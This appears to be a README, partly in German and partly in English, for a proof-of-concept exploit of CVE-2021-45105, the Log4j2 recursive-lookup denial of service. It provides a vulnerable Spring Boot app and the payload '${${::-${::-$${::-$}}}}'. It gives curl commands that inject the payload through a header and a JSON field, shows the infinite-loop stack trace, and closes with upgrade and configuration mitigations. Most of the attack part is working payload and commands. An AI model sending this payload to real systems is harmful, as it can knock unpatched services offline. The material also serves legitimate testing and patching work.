
PoC-Exploit für CVE-2021-45105 (Log4j2 DOS) mit Spring-Boot-Web-App, der eine Endlosschleife mittels präparierter HTTP-Header-/Body-Payloads demonstriert.
${${::-${::-$${::-$}}}}
Diese Anwendung basiert auf einer Spring Boot Webanwendung, die anfällig für CVE-2021-45105 ist
Sie verwendet Log4j 2.16.0

Führen Sie es aus:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${${::-${::-$${::-$}}}}"
}'
${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
Benutzer von Java 8 (oder höher) sollten auf Version 2.17.0 aktualisieren.
Alternativ kann dies in der Konfiguration entschärft werden:
Ersetzen Sie in PatternLayout der Logging-Konfiguration Context Lookups wie ${ctx:loginId} oder $${ctx:loginId} durch Thread Context Map Patterns (%X, %mdc oder %MDC).
Entfernen Sie andernfalls in der Konfiguration Verweise auf Context Lookups wie ${ctx:loginId} oder $${ctx:loginId}, wenn sie aus Quellen außerhalb der Anwendung stammen, wie z. B. HTTP-Header oder Benutzereingaben.